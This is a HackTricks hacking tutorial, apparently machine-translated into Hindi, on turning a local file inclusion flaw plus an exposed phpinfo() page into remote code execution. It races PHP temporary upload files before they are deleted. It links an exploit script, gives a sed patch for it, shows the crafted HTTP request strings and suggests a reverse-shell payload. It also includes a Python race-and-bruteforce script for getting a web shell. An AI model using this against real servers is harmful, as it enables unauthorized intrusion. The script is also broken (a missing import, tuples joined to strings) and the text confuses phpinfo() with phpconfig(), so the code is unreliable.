tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
इस कमजोरियों का लाभ उठाने के लिए आपको आवश्यकता है: एक LFI कमजोरी, एक पृष्ठ जहाँ phpinfo() प्रदर्शित होता है, "file_uploads = on" और सर्वर को "/tmp" निर्देशिका में लिखने में सक्षम होना चाहिए।
https://www.insomniasec.com/downloads/publications/phpinfolfi.py
ट्यूटोरियल HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
आपको एक्सप्लॉइट को ठीक करने की आवश्यकता है ( => को => में बदलें)। ऐसा करने के लिए आप कर सकते हैं:
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
आपको payload को भी बदलना होगा जो हमले की शुरुआत में है (उदाहरण के लिए, php-rev-shell के लिए), REQ1 (यह phpinfo पृष्ठ की ओर इशारा करना चाहिए और इसमें padding शामिल होनी चाहिए, यानी: REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), और LFIREQ (यह LFI भेद्यता की ओर इशारा करना चाहिए, यानी: LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- जब null char का शोषण करते समय डबल "%" की जांच करें)
सिद्धांत
यदि PHP में अपलोड की अनुमति है और आप एक फ़ाइल अपलोड करने की कोशिश करते हैं, तो यह फ़ाइल एक अस्थायी निर्देशिका में संग्रहीत होती है जब तक कि सर्वर अनुरोध को संसाधित नहीं कर लेता, फिर यह अस्थायी फ़ाइल हटा दी जाती है।
फिर, यदि आपने वेब सर्वर में LFI भेद्यता पाई है, तो आप अस्थायी फ़ाइल के नाम का अनुमान लगाने की कोशिश कर सकते हैं और इसे RCE का शोषण करते हुए अस्थायी फ़ाइल तक पहुँच सकते हैं इससे पहले कि इसे हटा दिया जाए।
Windows में फ़ाइलें आमतौर पर C:\Windows\temp\php में संग्रहीत होती हैं।
Linux में फ़ाइल का नाम आमतौर पर random होता है और यह /tmp में स्थित होता है। चूंकि नाम यादृच्छिक है, इसलिए कहीं से अस्थायी फ़ाइल का नाम निकालना आवश्यक है और इसे हटाए जाने से पहले एक्सेस करना आवश्यक है। यह phpconfig() फ़ंक्शन की सामग्री के भीतर variable $_FILES के मान को पढ़कर किया जा सकता है।
phpinfo()
PHP एक 4096B का बफर उपयोग करता है और जब यह पूर्ण होता है, तो इसे क्लाइंट को भेजा जाता है। फिर क्लाइंट बहुत सारे बड़े अनुरोध भेज सकता है (बड़े हेडर का उपयोग करते हुए) php रिवर्स शेल अपलोड करते हुए, phpinfo() के पहले भाग के लौटने का इंतजार करें (जहां अस्थायी फ़ाइल का नाम है) और LFI भेद्यता का शोषण करते हुए php सर्वर फ़ाइल को हटाने से पहले अस्थायी फ़ाइल तक पहुँचने की कोशिश करें।
नाम को ब्रूटफोर्स करने के लिए Python स्क्रिप्ट (यदि लंबाई = 6)
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।